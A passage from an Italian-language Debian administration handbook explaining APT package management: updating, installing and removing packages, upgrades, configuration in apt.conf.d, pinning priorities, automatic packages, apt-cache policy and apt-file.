Entrambi gli strumenti sono basati sulla stessa libreria e sono quindi molto simili, ma il comportamento predefinito di apt è stato migliorato per un uso interattivo e per fare effettivamente ciò che la maggior parte degli utenti si aspetta. Gli sviluppatori di APT si riservano il diritto di cambiare l'interfaccia pubblica di questo strumento per migliorarlo ulteriormente. Al contrario, l'interfaccia pubblica di apt-get è ben definita e non cambierà in alcun modo che la renda incompatibile all'indietro. È quindi lo strumento da preferire quando si ha bisogno di scrivere richieste di installazione di pacchetti.

Numerose altre interfacce grafiche sono apparse come progetti esterni: synaptic, aptitude (che include sia un'interfaccia in modalità testo che una grafica, anche se non ancora completa), wajig, ecc. L'interfaccia consigliata, apt, è quella che useremo negli esempi riportati in questa sezione. Si noti, comunque, che apt-get e aptitude hanno una sintassi della linea di comando molto simile. Quando ci saranno grandi differenze fra questi tre comandi, essere saranno dettagliate.

6.2.1. Inizializzazione

Per qualsiasi lavoro con APT, la lista dei pacchetti disponibili deve essere aggiornata; questo può essere fatto semplicemente attraverso apt update. A seconda della velocità della connessione e della configurazione, l'operazione può richiedere un po' di tempo, visto che deve scaricare un certo numero di file (solitamente compressi) Packages/Sources/Translation-language-code, che sono gradualmente diventati sempre più grandi mano a mano che Debian è stata sviluppata (almeno 10-16 MB di dati per la sezione main). Ovviamente, installare da un insieme di CD-ROM/DVD non richiede di scaricare nulla — in questo caso, l'operazione è molto veloce.

SUGGERIMENTO Aggiornamento incrementale

L'obiettivo del comando apt update è quello di scaricare, per ogni sorgente del pacchetto, il corrispondente file Packages (o Sources). Tuttavia, anche se compressi con xz, questi file possono essere piuttosto grandi (il Packages.xz per la sezione main di Unstable occupa più di 8 MB). Se si desidera aggiornare regolarmente, questi download potrebbero richiedere molto tempo.

Per velocizzare il processo, invece dell'intero file, APT può scaricare i file "diff" contenenti le modifiche rispetto al precedente aggiornamento. Per raggiungere questo obiettivo, i mirror Debian ufficiali distribuiscono diversi file che elencano le differenze fra una versione del file Packages e la versione successiva. Sono generati ad ogni aggiornamento degli archivi e viene mantenuto uno storico di una settimana. Ognuno di questi file "diff" occupa solo poche decine di kilobyte per Unstable, in modo che la quantità di dati scaricati con un apt update settimanale sia spesso divisa per 10. Per Stable e Testing, che variano di meno, il guadagno è ancora più evidente.

Tuttavia, a volte può essere interessante forzare lo scaricamento di tutto il file Packages, specialmente quando l'ultimo aggiornamento è molto vecchio e quando il meccanismo di differenze incrementali non servirebbe a molto. Può essere anche interessante quando l'accesso alla rete è molto veloce ma il processore della macchina da aggiornare è piuttosto lento, poiché il risparmio di tempo nello scaricamento è più che perso quando il computer calcola le nuove versioni dei file (partendo dalle versioni più vecchie e applicando le differenze). Per farlo, è possibile utilizzare il parametro di configurazione APT Acquire::PDiffs impostandolo a false.

$ sudo apt -o "Acquire::PDiffs=false" update

Le opzioni Acquire::* controllano anche altri aspetti e persino i metodi di download. Acquire::Languages può limitare o disabilitare il download dei file Translation-language-code e risparmiare ancora più tempo. Per una lista completa, vedere apt.conf(5).

6.2.2. Installazione e rimozione

Con APT, i pacchetti possono essere aggiunti o rimossi dal sistema, rispettivamente con apt install pacchetto e apt remove pacchetto. In entrambi i casi, APT installerà automaticamente le dipendenze necessarie o rimuoverà i pacchetti che dipendono da quello che ci si appresta a rimuovere. Il comando apt purge pacchetto implica una completa disinstallazione cancellando anche i file di configurazione.

SUGGERIMENTO Installare la stessa selezione di pacchetti diverse volte

Può risultare utile installare sistematicamente la stessa lista di pacchetti su diversi computer. Ciò può essere fatto abbastanza facilmente.

Prima di tutto, ottenere la lista dei pacchetti installati sul computer che servirà come "modello" da copiare.

$ dpkg --get-selections >pkg-list

Il file pkg-list contiene quindi la lista dei pacchetti installati. Poi, trasferire il file pkg-list sui computer che si desiderano aggiornare e usare i seguenti comandi:

## Aggiornare il database di dpkg dei pacchetti conosciuti # avail=`mktemp` # apt-cache dumpavail > "$avail" # dpkg --merge-avail "$avail" # rm -f "$avail" ## Aggiornare le selezioni di dpkg # dpkg --set-selections < pkg-list ## Chiedere ad apt-get di installare i pacchetti selezionati # apt-get dselect-upgrade

Il primo comando registra la lista dei pacchetti disponibili nel database di dpkg. A seguire dpkg --set-selections ripristina la selezione di pacchetti che si desidera installare, e l'invocazione di apt-get esegue le operazioni necessarie! aptitude non ha questo comando.

SUGGERIMENTO Rimozione e installazione nello stesso momento

È possibile richiedere ad apt (o apt-get, o aptitude) di installare certi pacchetti e rimuoverne altri nella stessa riga di comando aggiungendo un suffisso. Con il comando apt install, aggiungere "-" ai nomi dei pacchetti da rimuovere. Con un comando apt remove, aggiungere "+" ai nomi dei pacchetti da installare.

Il prossimo esempio mostra due modi differenti di installare il pacchetto1 e rimuovere pacchetto2.

# apt install pacchetto1 pacchetto2-

# apt remove pacchetto1+ pacchetto2

Ciò può essere usato anche per escludere pacchetti che verrebbero altrimenti installati, per esempio, a causa di un'installazione automatica Recommends. In generale il risolutore delle dipendenze userà quella informazione come suggerimento per trovare soluzioni alternative.

SUGGERIMENTO apt --reinstall e aptitude reinstall

Il sistema può a volte danneggiarsi a seguito della rimozione o delle modifiche ai file in un pacchetto. Il modo più facile per recuperare questi file è di reinstallare il pacchetto interessato. Purtroppo, il sistema di pacchettizzazione rileva che quest'ultimo è già installato e si rifiuta cortesemente di reinstallarlo; per evitare questo, usare l'opzione --reinstall dei comandi apt apt-get. Il seguente comando reinstalla postfix anche se è già presente:

# apt --reinstall install postfix

La riga di comando per aptitude è un po' diversa, ma ottiene lo stesso risultato con aptitude reinstall postfix.

Il problema non si pone con dpkg, ma raramente l'amministratore lo utilizza direttamente.

Fate attenzione! Usando apt-get --reinstall per ripristinare i pacchetti modificati durante un attacco certamente non verrà ripristinato il sistema com'era. La Sezione 14.7, «Gestire una macchina compromessa» spiega in dettaglio i passi necessari da adottare in caso di sistema compromesso.

Questi comandi non ripristineranno i file di configurazione. Ma come appreso in Sezione 5.2.3, «Checksum, elenco dei file di configurazione, ecc.» (vedi riquadro APPROFONDIMENTO Obbligare dpkg a porre le domande sui file di configurazione), potete usare il seguente comando per farvi chiedere di installare la versione non modificata e anche di ripristinare qualsiasi file di configurazione cancellato.

# apt --reinstall -o Dpkg::Options::="--force-confask,confmiss" install package

Alcuni pacchetti non forniscono il file di configurazione che si trova in /etc. Invece lo creano durante l'installazione copiando uno scheletro o scrivendolo con uno script. Il file /etc/inputrc, per esempio, è una copia di /usr/share/readline/inputrc. In questi casi i comandi descritti sopra non funzioneranno.

Se il file sources.list cita diverse distribuzioni, è possibile specificare la versione del pacchetto da installare. Un numero di versione specifico può essere richiesto con apt install pacchetto=versione, ma indicare la sua distribuzione di origine (Stable, Testing o Unstable) — con apt install pacchetto/distribuzione — è preferibile. Con questo comando, è possibile tornare ad una versione precedente di un pacchetto (se, per esempio, si sa che funziona bene), a condizione che sia ancora disponibile in una delle sorgenti a cui fa riferimento il file sources.list. Altrimenti l'archivio snapshot.debian.org può venire in soccorso (vedere il riquadro APPROFONDIMENTO Vecchie versioni dei pacchetti: snapshot.debian.org e archive.debian.org).

Esempio 6.4. Installazione della versione Unstable di spamassassin

# apt install spamassassin/unstable

Se il pacchetto da installare è stato reso disponibile sotto forma di un semplice file .deb senza alcun repository di pacchetti associato, è ancora possibile utilizzare APT per installarlo insieme alle sue dipendenze (purché le dipendenze siano disponibili nei repository configurati) con un semplice comando: apt install ./percorso-del-pacchetto.deb. L'iniziale ./ è importante per rendere chiaro che ci stiamo riferendo ad un nome di file e non al nome di un pacchetto disponibile in uno dei repository.

APPROFONDIMENTO La cache dei file .deb

APT conserva una copia di ogni file .deb scaricato nella directory /var/cache/apt/archives/. In caso di aggiornamenti frequenti, questa cartella può rapidamente occupare molto spazio su disco con diverse versioni per ogni pacchetto; si dovrebbe regolarmente fare una cernita. Possono essere utilizzati due comandi: apt-get clean svuota completamente la directory; apt-get autoclean rimuove solo i pacchetti che non possono più essere scaricati (perché scomparsi dal mirror Debian) e quindi chiaramente inutili (il parametro di configurazione APT::Clean-Installed può impedire la rimozione dei file .deb che sono attualmente installati).

6.2.3. Aggiornamento del sistema

Sono raccomandati aggiornamenti regolari, perché includono gli ultimi aggiornamenti di sicurezza. Per aggiornare, usare apt upgrade, apt-get upgrade o aptitude safe-upgrade (ovviamente dopo apt update). Questo comando controlla i pacchetti installati che possono essere aggiornati senza la rimozione di alcun pacchetto. In altre parole, l'obiettivo è quello di garantire l'aggiornamento meno intrusivo possibile. apt-get è un po' più esigente di aptitude o apt perché si rifiuta di installare pacchetti che erano già installati in precedenza.

apt in genere seleziona il numero di versione più recente (ad eccezione dei pacchetti Experimental e stable-backports, che vengono ignorati per impostazione predefinita a prescindere dal loro numero di versione). Se si è specificato Testing o Unstable nel proprio sources.list, apt upgrade porterà la maggior parte di un sistema Stable a Testing o Unstable, e ciò potrebbe non essere quello che si desiderava fare.

Per dire ad apt di usare una specifica distribuzione quando cerca degli aggiornamenti, si deve usare l'opzione -t o --target-release, seguita dal nome della distribuzione voluta (ad esempio, apt -t stable upgrade). Per evitare di specificare quest'opzione ogni volta che si utilizza apt, si può aggiungere la riga APT::Default-Release "stable"; nel file /etc/apt/apt.conf.d/local.

Per gli aggiornamenti più importanti, come il passaggio da una versione principale di Debian a quella successiva, è necessario utilizzare apt full-upgrade. Con questa istruzione, apt completerà l'aggiornamento anche nel caso in cui debba eliminare dei pacchetti obsoleti o installare nuove dipendenze. Questo è anche il comando usato dagli utenti che lavorano quotidianamente con il rilascio Unstable di Debian e che seguono la sua evoluzione giorno per giorno. È così semplice che non ha certo bisogno di spiegazione: la reputazione di APT si basa su questa sua grande funzionalità.

A differenza di apt ed aptitude, apt-get non usa il comando full-upgrade. Invece, si dobrebbe usare apt-get dist-upgrade (”aggiornamento della distribuzione”), lo storico e ben noto comando accettato anche da apt ed aptitude per la comodità degli utenti che si sono abituati.

I risultati di queste operazioni sono salvati in /var/log/apt/history.log e /var/log/apt/term.log, mentre dpkg mantiene il suo log in un file chiamato /var/log/dpkg.log.

6.2.4. Opzioni di configurazione

Oltre agli elementi di configurazione già citati, è possibile configurare certi aspetti di APT aggiungendo direttive in un file della directory /etc/apt/apt.conf.d/ o nello stesso /etc/apt/apt.conf. Ricordate, per esempio, che APT può dire a dpkg di ignorare i conflitti fra i file se si specifica DPkg::options { "--force-overwrite"; }.

Se si accede al Web solo attraverso un proxy, bisogna aggiungere una riga come Acquire::http::proxy "http://proprioproxy:3128". Per un proxy FTP, scrivere Acquire::ftp::proxy "ftp://proprioproxy". Per scoprire più opzioni di configurazione, leggere la pagina del manuale apt.conf(5) (per i dettagli sulle pagine del manuale, vedere Sezione 7.1.1, «Pagine di manuale»).

FONDAMENTALE Directory terminanti in .d

Le directory con il suffisso .d vengono utilizzate sempre più spesso. Ogni directory rappresenta un file di configurazione che viene suddiviso in più file. In questo senso, tutti i file in /etc/apt/apt.conf.d/ sono istruzioni per la configurazione di APT. APT li include in ordine alfabetico, così che gli ultimi file possono modificare un elemento di configurazione definito in uno dei primi.

Questa struttura offre una certa flessibilità all'amministratore della macchina e ai manutentori dei pacchetti. In effetti, l'amministratore può modificare facilmente la configurazione del software aggiungendo un file già pronto nella directory in questione senza dover modificare un file esistente. I manutentori dei pacchetti utilizzano lo stesso approccio quando hanno bisogno di adattare la configurazione di un altro software per assicurarsi che coesista perfettamente con il loro. La politica di Debian proibisce esplicitamente la modifica dei file di configurazione di altri pacchetti: solo gli utenti sono autorizzati a farlo. Ricordare che durante l'aggiornamento di un pacchetto, l'utente può scegliere la versione del file di configurazione che deve essere mantenuta quando viene rilevata una modifica. Qualsiasi modifica esterna del file innescherebbe questa richiesta, che disturberebbe l'amministratore, il quale è sicuro di non aver cambiato nulla.

Senza una directory .d, è impossibile per un pacchetto esterno cambiare le impostazioni di un programma modificando direttamente il suo file di configurazione. Invece, deve invitare l'utente a farlo, elencando le operazioni da fare nel file /usr/share/doc/pacchetto/README.Debian, oppure deve creare una diversione per il file di configurazione usando il comando dpkg-divert e quindi installare il proprio file di configurazione per il software in questione. Quest'ultima soluzione è talvolta utilizzata da pacchetti di terze parti che cercano di gestire i file di configurazione dei componenti software che utilizzano.

A seconda dell'applicazione, la directory .d è usata direttamente o gestita da uno script esterno che collega tutti i file per creare il file di configurazione stesso. È importante eseguire lo script dopo ogni cambiamento in quella directory in modo che le più recenti modifiche siano prese in considerazione. Allo stesso modo, è importante non lavorare direttamente sul file di configurazione creato automaticamente, dal momento ogni modifica andrebbe persa alla successiva esecuzione dello script. Il metodo scelto (la directory .d usata direttamente o un file generato da quella directory) è solitamente imposto da vincoli di implementazione, ma in entrambi i casi i guadagni in termini di flessibilità di configurazione sono maggiori rispetto alle piccole complicazioni che comportano. Il server di posta Exim 4 è un esempio del metodo del file generato: può essere configurato attraverso diversi file (/etc/exim4/conf.d/*) che sono concatenati in /var/lib/exim4/config.autogenerated dal comando update-exim4.conf.

6.2.5. Gestire le priorità dei pacchetti

Uno degli aspetti più importanti nella configurazione di APT è la gestione delle priorità assegnate ad ogni fonte di pacchetti. Per esempio, si potrebbe volere estendere una distribuzione con uno o due pacchetti più nuovi da Testing, Unstable o Experimental. È possibile assegnare una priorità a ciascun pacchetto disponibile (lo stesso pacchetto può avere diverse priorità a seconda della sua versione o della distribuzione che lo fornisce). Queste priorità influenzeranno il comportamento di APT: per ogni pacchetto, selezionerà sempre la versione con la priorità più alta (tranne se questa è più vecchia di quella installata e se la sua priorità è inferiore a 1000).

APT definisce diverse priorità predefinite. Ogni versione installata di un pacchetto ha priorità 100. Una versione non installata ha priorità 500 per impostazione predefinita, ma può arrivare a 990 se è parte del rilascio di destinazione prescelto (definito con l'opzione a riga di comando -t o con la direttiva di configurazione APT::Default-Release).

È possibile modificare le priorità con l'aggiunta di voci in un file in /etc/apt/preferences.d/ o nel file /etc/apt/preferences con i nomi dei pacchetti interessati, la loro versione, la loro origine e la loro nuova priorità.

APT non installerà mai una versione più vecchia di un pacchetto (cioè un pacchetto il cui numero di versione è più basso di quello del pacchetto attualmente installato) tranne se la sua priorità è superiore a 1000 (o se esplicitamente richiesto dall'utente, vedi Sezione 6.2.2, «Installazione e rimozione»). APT installerà sempre il pacchetto con priorità più alta che soddisfa questa regola. Se due pacchetti hanno la stessa priorità, APT installerà il più recente (quello con numero di versione più alto). Se due pacchetti hanno le stesse versione e priorità ma diverso contenuto, APT installerà la versione non installata (questa regola è stata creata per ovviare al caso di un aggiornamento di pacchetto senza incremento del numero di revisione, che normalmente è richiesto).

Più concretamente, un pacchetto la cui priorità è

< 0

non sarà mai installato,

1..99

sarà installato solo se non è già presente un'altra versione del pacchetto,

100..499

sarà installato solo se non c'è un'altra versione più recente installata o disponibile in un'altra distribuzione,

500....989

sarà installato solo se non c'è una versione più recente installata o disponibile nella distribuzione di destinazione,

990..1000

sarà installato tranne se la versione installata è più recente,

> 1000

verrà sempre installato, anche se costringe APT ad eseguire il downgrade ad una versione precedente.

Quando APT controlla /etc/apt/preferences e /etc/apt/preferences.d/, prende in considerazione prima le voci più specifiche (spesso quelle che definiscono il pacchetto interessato), poi quelle più generiche (tra cui, per esempio, tutti i pacchetti di una distribuzione). Se sono presenti più voci generiche, verrà utilizzata la prima. I criteri di selezione disponibili includono il nome del pacchetto e la fonte che lo fornisce. Ogni fonte è identificata dalle informazioni contenute in un file Release che APT scarica insieme ai file Packages. Esso specifica l'origine (di solito "Debian" per i pacchetti dei mirror ufficiali, ma può essere anche un nome di una persona o di un'organizzazione per repository di terze parti). Fornisce anche il nome della distribuzione (solitamente Stable, Testing, Unstable o Experimental per le distribuzioni standard fornite da Debian) insieme con la sua versione (per esempio 11 per Debian Bullseye). Diamo dunque un'occhiata alla sua sintassi attraverso alcuni reali casi di studio di questo meccanismo.

CASO SPECIFICO Priorità di experimental

Se si è elencato Experimental nel proprio file sources.list, i pacchetti corrispondenti non saranno quasi mai installati perché la loro priorità predefinita è 1. Questo naturalmente è un caso specifico, progettato per impedire agli utenti di installare pacchetti Experimental per errore. I pacchetti possono essere installati solo digitando aptitude install pacchetto/experimental; gli utenti che digitano questo comando non possono che essere consapevoli dei rischi che corrono. È sempre possibile (anche se non consigliato) trattare i pacchetti Experimental come quelli di altre distribuzioni dando loro priorità 500. Questo viene fatto con una voce specifica in /etc/apt/preferences:

Package: * Pin: release a=experimental Pin-Priority: 500

Supponiamo che si vogliano usare solamente i pacchetti della versione stabile di Debian. Quelli forniti in altre versioni non devono essere installati tranne se esplicitamente richiesto. Si dovrebbero scrivere le seguenti voci nel file /etc/apt/preferences:

Package: * Pin: release a=stable Pin-Priority: 900 Package: * Pin: release o=Debian Pin-Priority: -10

a=stable definisce il nome della distribuzione selezionata. o=Debian limita l'impostazione ai pacchetti la cui origine è "Debian".

Si supponga ora di avere un server con diversi programmi locali dipendenti dalla versione 5.28 di Perl e che si voglia garantire che non vengano installati gli aggiornamenti ad un'altra versione. Si potrebbe usare questa riga:

Package: perl Pin: version 5.28* Pin-Priority: 1001

Per comprendere meglio i meccanismi di priorità e distribuzione o le proprietà del repository da bloccare, non esitare ad eseguire apt-cache policy per visualizzare la priorità predefinita associata a ciascuna origine del pacchetto, oppure apt-cache policy pacchetto per visualizzare la priorità predefinita per ogni versione disponibile e origine di un pacchetto come spiegato in Sezione 6.3.1, «Il comando apt-cache policy».

La documentazione di riferimento per i file /etc/apt/preferences e /etc/apt/preferences.d/ è disponibile nella pagina del manuale apt_preferences(5), che puoi visualizzare con man apt_preferences.

SUGGERIMENTO Commenti in /etc/apt/preferences

Non esiste una sintassi ufficiale per mettere dei commenti nel file /etc/apt/preferences, ma possono essere fornite alcune descrizioni testuali mettendo uno o più campi "Explanation" all'inizio di ogni voce:

Explanation: Il pacchetto xserver-xorg-video-intel fornito Explanation: in experimental può essere usato tranquillamente Package: xserver-xorg-video-intel Pin: release a=experimental Pin-Priority: 500

6.2.6. Lavorare con più distribuzioni

Dato che apt è uno strumento così meraviglioso, si può essere tentati di prendere pacchetti provenienti da altre distribuzioni. Ad esempio, dopo aver installato un sistema Stable, si potrebbe desiderare di provare un pacchetto software disponibile in Testing o Unstable, senza scostarsi troppo dallo stato iniziale del sistema.

Anche se a volte si incontrano problemi mischiando pacchetti di diverse distribuzioni, apt gestisce tale coesistenza molto bene e limita i rischi in modo molto efficace. Il miglior modo di procedere è quello di elencare tutte le distribuzioni utilizzate in /etc/apt/sources.list (alcune persone mettono sempre le tre distribuzioni, ma ricordare che Unstable è riservata agli utenti esperti) e di definire la distribuzione di riferimento con il parametro APT::Default-Release (vedere la Sezione 6.2.3, «Aggiornamento del sistema»).

Supponiamo che Stable sia la propria distribuzione di riferimento ma che Testing e Unstable siano comunque elencate nel proprio file sources.list. In questo caso, è possibile usare apt install pacchetto/testing per installare un pacchetto da Testing. Se l'installazione non riesce a causa di alcune dipendenze che non possono essere soddisfatte, si può lasciare che risolva queste dipendenze in Testing aggiungendo il parametro -t testing. Lo stesso vale ovviamente per Unstable.

In questa situazione, gli aggiornamenti (upgrade e full-upgrade) vengono fatti all'interno di Stable eccetto per i pacchetti già aggiornati ad altre distribuzioni: quest'ultimi seguiranno gli aggiornamenti disponibili nelle altre distribuzioni. Questo comportamento verrà spiegato più avanti con l'aiuto delle priorità predefinite impostate da APT. Non esitare ad usare apt-cache policy (Sezione 6.3.1, «Il comando apt-cache policy») per verificare le priorità assegnate.

Tutto ruota intorno al fatto che APT considera solo i pacchetti con versione più alta o uguale a quella installata (assumendo che non è stato usato /etc/apt/preferences per forzare priorità più alte di 1000 per alcuni pacchetti).

Supponiamo di avere installato la versione 1 di un primo pacchetto da Stable e che le versioni 2 e 3 siano disponibili rispettivamente in Testing e Unstable. La versione installata ha una priorità di 100, ma la versione disponibile in Stable (la stessa) ha priorità 990 (perché fa parte della versione di riferimento). I pacchetti in Testing e Unstable hanno priorità 500 (la priorità predefinita per una versione non installata). Il vincitore è dunque la versione 1 con una priorità di 990. Il pacchetto "rimane in Stable".

Prendiamo ora l'esempio di un altro pacchetto la cui versione 2 è stata installata da Testing. La versione 1 è disponibile in Stable e la versione 3 in Unstable. La versione 1 (con priorità 990, quindi minore di 1000) è scartata perché è più bassa della versione installata. Questo lascia in gioco solo le versioni 2 e 3, entrambe con priorità 500. Di fronte a questa alternativa, APT sceglie la versione più recente, quella da Unstable. Se non si desidera che un pacchetto installato da Testing venga migrato a Unstable, è necessario assegnare una priorità minore di 500 (ad esempio 490) ai pacchetti provenienti da Unstable. A tal fine, si può modificare /etc/apt/preferences come segue:

Package: * Pin: release a=unstable Pin-Priority: 490

6.2.7. Tenere traccia dei pacchetti installati automaticamente

Una delle funzionalità essenziali di apt è quella di tenere traccia dei pacchetti installati solo come dipendenze. Questi pacchetti vengono chiamati "automatici" e spesso comprendono le librerie.

Con queste informazioni, quando i pacchetti vengono rimossi, i gestori di pacchetti possono elaborare un elenco di pacchetti automatici che non sono più necessari (perché non ci sono pacchetti "installati manualmente" che dipendono da essi). apt-get autoremove o apt autoremove eliminerà tali pacchetti. aptitude non ha questo comando perché li rimuove automaticamente non appena vengono identificati. In ogni caso, gli strumenti visualizzano un messaggio chiaro che elenca i pacchetti interessati.

È buona abitudine marcare come automatico ogni pacchetto di cui non si ha direttamente bisogno, in modo che venga automaticamente rimosso quando non è più necessario. apt-mark auto pacchetto marca il pacchetto specificato come automatico, mentre apt-mark manual pacchetto fa l'opposto. aptitude markauto e aptitude unmarkauto funzionano nello stesso modo, anche se offrono più funzionalità per marcare molti pacchetti contemporaneamente (vedere la Sezione 6.5.1, «aptitude»). L'interfaccia interattiva basata su console di aptitude rende anche facile revisionare il "contrassegno automatico" per molti pacchetti.

Si potrebbe voler sapere perché un pacchetto installato automaticamente è presente nel sistema. Per ottenere queste informazioni dalla riga di comando, è possibile utilizzare aptitude why pacchetto (apt e apt-get non hanno una funzionalità simile):

$ aptitude why python3-debian i aptitude Suggests apt-xapian-index p apt-xapian-index Depends python3-debian (>= 0.1.14)

ALTERNATIVA deborphan e debfoster

In passato quando apt, apt-get e aptitude non erano in grado di tenere traccia dei pacchetti automatici, esistevano due utilità per produrre elenchi dei pacchetti non necessari: deborphan e debfoster. Entrambi possono essere ancora utili.

deborphan scansiona, per impostazione predefinita, le sezioni libs e oldlibs (in assenza di istruzioni supplementari) cercando i pacchetti che sono attualmente installati e da cui non dipende nessun altro pacchetto. L'elenco risultante può servire come base per rimuovere i pacchetti non necessari.

debfoster ha un approccio più elaborato, molto simile a quello di APT: mantiene una lista dei pacchetti che sono stati installati esplicitamente, e ricorda quali pacchetti sono veramente necessari da un'esecuzione all'altra. Se nuovi pacchetti compaiono nel sistema e debfoster non li conosce come pacchetti necessari, li visualizzerà sullo schermo insieme alla lista delle loro dipendenze. Il programma spesso offre una scelta: rimuovere il pacchetto (eventualmente insieme a ciò che dipende da esso), marcarlo come esplicitamente richiesto o ignorarlo temporaneamente.

6.2.8. APT Pattern

I pattern consentono di specificare query di ricerca complesse per selezionare i pacchetti da installare o mostrare. Sono stati implementati per la prima volta per aptitude (vedere Sezione 6.5, «Frontend: aptitude, synaptic»), ma ora anche APT può farne uso.

Per esempio, si può usare apt list ?automatic per elencare tutti i pacchetti installati automaticamente. Per trovare i pacchetti installati automaticamente che non dipendono più da quelli installati manualmente si può usare il modello ?garbage.

I pattern logici possono essere combinati con altri pacchetti per formare espressioni più complesse. Per esempio, si può usare uno schema come ?and(PATTERN, PATTERN). Vedere apt-patterns(7) e glob(7) per tutti i pattern che si possono usare e le espressioni complesse che si possono creare con essi.

6.3. Il comando apt-cache

Il comando apt-cache può visualizzare gran parte delle informazioni memorizzate nel database interno di APT. Queste informazioni sono una sorta di cache poiché vengono raccolte dalle differenti fonti elencate nel file sources.list. Questo avviene durante l'operazione apt update.

VOCABOLARIO Cache

Una cache è un sistema di immagazzinamento temporaneo utilizzato per velocizzare l'accesso frequente ai dati quando il metodo usuale di accesso è dispendioso (in termini di prestazioni). Questo concetto può essere applicato in numerose situazioni e su diversa scala, dai core dei microprocessori fino ai sistemi di memorizzazione di fascia alta.

Nel caso di APT, i riferimenti dei file Packages sono quelli che si trovano sui mirror Debian. Detto questo, sarebbe decisamente inefficiente se per ogni ricerca che si desidera fare nel database dei pacchetti disponibili si dovesse passare dalla rete. Ecco perché APT salva una copia di questi file (in /var/lib/apt/lists/) e le ricerche sono fatte all'interno di questi file locali. Allo stesso modo, /var/cache/apt/archives/ contiene una cache dei pacchetti già scaricati (vedere la barra laterale APPROFONDIMENTO La cache dei file .deb) per evitare di scaricarli nuovamente se fosse necessario reinstallarli.

D'altra parte, è obbligatorio eseguire regolarmente apt update per aggiornare la cache. Altrimenti dai risultati della ricerca dei pacchetti mancheranno sempre gli ultimi aggiornamenti distribuiti dai mirror Debian.

Il comando apt-cache può ricercare pacchetti in base a parole chiave con apt-cache search parolachiave. Può inoltre visualizzare le intestazioni delle versioni disponibili del pacchetto con apt-cache show pacchetto. Questo comando fornisce la descrizione del pacchetto, le sue dipendenze, il nome del suo manutentore, ecc. Si noti che apt search, apt show, aptitude search e aptitude show lavorano nello stesso modo.

ALTERNATIVA axi-cache

apt-cache search è uno strumento molto rudimentale, che fondamentalmente implementa grep sulle descrizioni dei pacchetti. Spesso restituisce troppi risultati o nessuno, quando si usano troppe parole chiave.

axi-cache search termine, invece, fornisce risultati migliori, ordinati per importanza. Usa il motore di ricerca Xapian e fa parte del pacchetto apt-xapian-index che indicizza tutte le informazioni sui pacchetti (ed altro ancora, come i file .desktop di tutti i pacchetti Debian). Conosce i tag (vedere il riquadro APPROFONDIMENTO Il campo Tag) e restituisce i risultati in pochi millisecondi.

$ axi-cache search package use::searching axi-cache search package use::searching 13 results found. Results 1-13: 100% packagesearch - GUI for searching packages and viewing package information 87% debtags - Debian Package Tags support tools 86% whohas - query multiple distributions' package archives 84% recoll - Personal full text search package 82% apt-forktracer - utility for tracking non-official package versions [..] 66% apt - commandline package manager More terms: debian dpkg search debtags whohas forktracer dctrl More tags: role::program admin::package-management suite::debian works-with::software:package interface::commandline scope::utility protocol::http

Alcune funzionalità sono usate raramente. Per esempio apt-cache dumpavail visualizza le intestazioni di tutte le versioni disponibili dei pacchetti. apt-cache pkgnames visualizza l'elenco di tutti i pacchetti presenti almeno una volta nella cache.

Una delle funzioni che potrebbe tornare utile più spesso è apt-cache policy, descritta nella sezione seguente.

6.3.1. Il comando apt-cache policy

Il comando apt-cache policy mostra le priorità di pinning e le proprietà di distribuzione di ogni sorgente di pacchetto come spiegato in Sezione 6.2.5, «Gestire le priorità dei pacchetti». Può anche mostrare le priorità di pinning per tutte le versioni e fonti disponibili di un pacchetto. Con il file sources.list usato ad esempio in Esempio 6.2, «File /etc/apt/sources.list per gli utenti di Debian Stable» e APT::Default-Release impostato su "bullseye", l'output sarà il seguente:

$ apt-cache policy Package files: 100 /var/lib/dpkg/status release a=now 100 https://deb.debian.org/debian bullseye-backports/main amd64 Packages release o=Debian Backports,a=bullseye-backports,n=bullseye-backports,l=Debian Backports,c=main,b=amd64 origin deb.debian.org 990 https://deb.debian.org/debian bullseye/non-free amd64 Packages release v=11.0,o=Debian,a=stable,n=bullseye,l=Debian,c=non-free,b=amd64 origin deb.debian.org 990 https://deb.debian.org/debian bullseye/contrib amd64 Packages release v=11.0,o=Debian,a=stable,n=bullseye,l=Debian,c=contrib,b=amd64 origin deb.debian.org 990 https://deb.debian.org/debian bullseye/main amd64 Packages release v=11.0,o=Debian,a=stable,n=bullseye,l=Debian,c=main,b=amd64 origin deb.debian.org 500 http://security.debian.org bullseye-security/main amd64 Packages release v=11,o=Debian,a=stable-security,n=bullseye-security,l=Debian-Security,c=main,b=amd64 origin security.debian.org Pinned packages:

apt-cache policy può anche mostrare le priorità di pinning per tutte le versioni e le fonti disponibili di un dato pacchetto.

$ apt-cache policy limnoria limnoria: Installed: 2021.06.15-1 Candidate: 2021.06.15-1 Version table: 2021.07.21-1~bpo11+1 100 100 https://deb.debian.org/debian bullseye-backports/main amd64 Packages *** 2021.06.15-1 990 990 https://deb.debian.org/debian bullseye/main amd64 Packages 100 /var/lib/dpkg/status

Sebbene ci sia una versione più recente di limnoria nel repository di bullseye-backports, APT non la installerà automaticamente in base alla priorità. Si dovrebbe usare apt install limnoria/bullseye-backports od aggiungere una priorità di pinning più alta in /etc/apt/preferences.d/limnoria.pref:

Package: limnoria Pin: release o=Debian Backports, a=bullseye-backports Pin-Priority: 1001

$ apt-cache policy limnoria limnoria: Installed: 2021.06.15-1 Candidate: 2021.07.21-1~bpo11+1 Version table: 2021.07.21-1~bpo11+1 1001 100 https://deb.debian.org/debian bullseye-backports/main amd64 Packages *** 2021.06.15-1 990 990 https://deb.debian.org/debian bullseye/main amd64 Packages 100 /var/lib/dpkg/status

6.4. Il comando apt-file

A volte si fa riferimento ad un file od ad un comando e ci si chiede in quale pacchetto si trovi. Fortunatamente i repository Debian non solo contengono informazioni su tutti i pacchetti binari forniti, ma anche su tutti i file forniti con essi. Queste informazioni sono contenute nei file Contents-arch.gz e Contents-udeb-arch.gz. Queste informazioni non vengono scaricate automaticamente da APT. È invece necessario il comando apt-file update (dal pacchetto con nome simile) per recuperare il contenuto di tutti i sorgenti dei pacchetti menzionati in /etc/apt/sources.list. Per impostazione predefinita, scarica i file Contents*.pdiff come descritto nel riquadro SUGGERIMENTO Aggiornamento incrementale per ridurre la quantità di dati da trasferire. Per aggiornare il database su base settimanale, se necessario, si può aggiungere la seguente voce a /etc/crontab.

@weekly root test -x /usr/bin/apt-file && /usr/bin/apt-file update >> /dev/null 2>&1

Dopo che il database è stato aggiornato, il comando apt-file search pattern elencherà tutti i pacchetti che contengono un nome di file o un percorso che soddisfano il pattern.

$ apt-file search bin/axi-cache apt-xapian-index: /usr/bin/axi-cache

